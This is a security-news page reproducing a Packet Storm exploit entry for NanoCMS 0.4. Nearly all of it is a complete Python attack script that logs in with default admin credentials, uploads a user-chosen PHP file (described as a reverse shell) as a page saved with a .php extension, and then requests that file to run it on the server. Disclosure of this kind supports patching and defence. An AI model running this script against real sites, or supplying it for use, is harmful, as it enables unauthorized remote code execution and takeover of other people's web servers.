Security
Headlines
HeadlinesLatestCVEs

Headline

NanoCMS 0.4 Remote Code Execution

NanoCMS version 0.4 suffers from an authenticated remote code execution vulnerability.

Packet Storm
#vulnerability#web#linux#git#php#rce#auth#firefox
# Exploit Title: NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)# Date: 2022-07-26# Exploit Auuthor: p1ckzi# Vendor Homepage: https://github.com/kalyan02/NanoCMS# Version: NanoCMS v0.4# Tested on: Linux Mint 20.3# CVE: N/A## Description:# this script uploads a php reverse shell to the target.# NanoCMS does not sanitise the data of an authenticated user while creating# webpages. pages are saved with .php extensions by default, allowing an# authenticated attacker access to the underlying system:# https://github.com/ishell/Exploits-Archives/blob/master/2009-exploits/0904-exploits/nanocms-multi.txt#!/usr/bin/env python3import argparseimport bs4import errnoimport reimport requestsimport secretsimport sysdef arguments():    parser = argparse.ArgumentParser(        formatter_class=argparse.RawDescriptionHelpFormatter,        description=f"{sys.argv[0]} exploits authenticated file upload"        "\nand remote code execution in NanoCMS v0.4",        epilog=f"examples:"        f"\n\tpython3 {sys.argv[0]} http://10.10.10.10/ rev.php"        f"\n\tpython3 {sys.argv[0]} http://hostname:8080 rev-shell.php -a"        f"\n\t./{sys.argv[0]} https://10.10.10.10 rev-shell -n -e -u 'user'"    )    parser.add_argument(        "address", help="schema/ip/hostname, port, sub-directories"        " to the vulnerable NanoCMS server"    )    parser.add_argument(        "file", help="php file to upload"    )    parser.add_argument(        "-u", "--user", help="username", default="admin"    )    parser.add_argument(        "-p", "--passwd", help="password", default="demo"    )    parser.add_argument(        "-e", "--execute", help="attempts to make a request to the uploaded"        " file (more useful if uploading a reverse shell)",        action="store_true", default=False    )    parser.add_argument(        "-a", "--accessible", help="turns off features"        " which may negatively affect screen readers",        action="store_true", default=False    )    parser.add_argument(        "-n", "--no-colour", help="removes colour output",        action="store_true", default=False    )    arguments.option = parser.parse_args()# settings for terminal output defined by user in term_settings().class settings():    # colours.    c0 = ""    c1 = ""    c2 = ""    # information boxes.    i1 = ""    i2 = ""    i3 = ""    i4 = ""# checks for terminal setting flags supplied by arguments().def term_settings():    if arguments.option.accessible:        small_banner()    elif arguments.option.no_colour:        settings.i1 = "[+] "        settings.i2 = "[!] "        settings.i3 = "[i] "        settings.i4 = "$ "        banner()    elif not arguments.option.accessible or arguments.option.no_colour:        settings.c0 = "\u001b[0m"       # reset.        settings.c1 = "\u001b[38;5;1m"  # red.        settings.c2 = "\u001b[38;5;2m"  # green.        settings.i1 = "[+] "        settings.i2 = "[!] "        settings.i3 = "[i] "        settings.i4 = "$ "        banner()    else:        print("something went horribly wrong!")        sys.exit()# default terminal banner (looks prettier when run lol)def banner():    print(        "\n                                                  .__           .__"        "  .__   "        "\n  ____ _____    ____   ____   ____   _____   _____|  |__   ____ |  "        "| |  |  "        "\n /    \\__   \\  /    \\ /  _ \\_/ ___\\ /     \\ /  ___/  |  \\_/ "        "__ \\|  | |  |  "        "\n|   |  \\/ __ \\|   |  (  <_> )  \\___|  Y Y  \\___  \\|   Y  \\  _"        "__/|  |_|  |__"        "\n|___|  (____  /___|  /\\____/ \\___  >__|_|  /____  >___|  /\\___  "        ">____/____/"        "\n     \\/     \\/     \\/            \\/      \\/     \\/     \\/   "        "  \\/"    )def small_banner():    print(        f"{sys.argv[0]}"        "\nNanoCMS authenticated file upload and rce..."    )# appends a '/' if not supplied at the end of the address.def address_check(address):    check = re.search('/$', address)    if check is not None:        print('')    else:        arguments.option.address += "/"# creates a new filename for each upload.# errors occur if the filename is the same as a previously uploaded one.def random_filename():    random_filename.name = secrets.token_hex(4)# note: after a successful login, credentials are saved, so further reuse# of the script will most likely not require correct credentials.def login(address, user, passwd):    post_header = {        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "        "Gecko/20100101 Firefox/91.0",        "Accept": "text/html,application/xhtml+xml,"        "application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "en-US,en;q=0.5",        "Accept-Encoding": "gzip, deflate",        "Content-Type": "application/x-www-form-urlencoded",        "Content-Length": "",        "Connection": "close",        "Referer": f"{arguments.option.address}data/nanoadmin.php",        "Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",        "Upgrade-Insecure-Requests": "1",    }    post_data = {        "user": f"{user}",        "pass": f"{passwd}"    }    url_request = requests.post(        address + 'data/nanoadmin.php?',        headers=post_header,        data=post_data,        verify=False,        timeout=30    )    signin_error = url_request.text    if 'Error : wrong Username or Password' in signin_error:        print(            f"{settings.c1}{settings.i2}could "            f"sign in with {arguments.option.user}/"            f"{arguments.option.passwd}.{settings.c0}"        )        sys.exit(1)    else:        print(            f"{settings.c2}{settings.i1}logged in successfully."            f"{settings.c0}"        )def exploit(address, file, name):    with open(arguments.option.file, 'r') as file:        file_contents = file.read().rstrip()    post_header = {        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "        "Gecko/20100101 Firefox/91.0",        "Accept": "text/html,application/xhtml+xml,"        "application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "en-US,en;q=0.5",        "Accept-Encoding": "gzip, deflate",        "Content-Type": "application/x-www-form-urlencoded",        "Content-Length": "",        "Connection": "close",        "Referer": f"{arguments.option.address}data/nanoadmin.php?action="        "addpage",        "Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",        "Upgrade-Insecure-Requests": "1",    }    post_data = {        "title": f"{random_filename.name}",        "save": "Add Page",        "check_sidebar": "sidebar",        "content": f"{file_contents}"    }    url_request = requests.post(        address + 'data/nanoadmin.php?action=addpage',        headers=post_header,        data=post_data,        verify=False,        timeout=30    )    if url_request.status_code == 404:        print(            f"{settings.c1}{settings.i2}{arguments.option.address} could "            f"not be uploaded.{settings.c0}"        )        sys.exit(1)    else:        print(            f"{settings.c2}{settings.i1}file posted."            f"{settings.c0}"        )    print(        f"{settings.i3}if successful, file location should be at:"        f"\n{address}data/pages/{random_filename.name}.php"    )def execute(address, file, name):    print(            f"{settings.i3}making web request to uploaded file."    )    print(            f"{settings.i3}check listener if reverse shell uploaded."        )    url_request = requests.get(        address + f'data/pages/{random_filename.name}.php',        verify=False    )    if url_request.status_code == 404:        print(            f"{settings.c1}{settings.i2}{arguments.option.file} could "            f"not be found."            f"\n{settings.i2}antivirus may be blocking your upload."            f"{settings.c0}"        )    else:        sys.exit()def main():    try:        arguments()        term_settings()        address_check(arguments.option.address)        random_filename()        if arguments.option.execute:            login(                arguments.option.address,                arguments.option.user,                arguments.option.passwd            )            exploit(                arguments.option.address,                arguments.option.file,                random_filename.name,            )            execute(                arguments.option.address,                arguments.option.file,                random_filename.name,            )        else:            login(                arguments.option.address,                arguments.option.user,                arguments.option.passwd            )            exploit(                arguments.option.address,                arguments.option.file,                random_filename.name,            )    except KeyboardInterrupt:        print(f"\n{settings.i3}quitting.")        sys.exit()    except requests.exceptions.Timeout:        print(            f"{settings.c1}{settings.i2}the request timed out "            f"while attempting to connect.{settings.c0}"        )        sys.exit()    except requests.ConnectionError:        print(            f"{settings.c1}{settings.i2}could not connect "            f"to {arguments.option.address}{settings.c0}"        )        sys.exit()    except FileNotFoundError:        print(            f"{settings.c1}{settings.i2}{arguments.option.file} "            f"could not be found.{settings.c0}"        )    except (        requests.exceptions.MissingSchema,        requests.exceptions.InvalidURL,        requests.exceptions.InvalidSchema    ):        print(            f"{settings.c1}{settings.i2}a valid schema and address "            f"must be supplied.{settings.c0}"        )        sys.exit()if __name__ == "__main__":    main()

Packet Storm: Latest News

Falco 0.39.1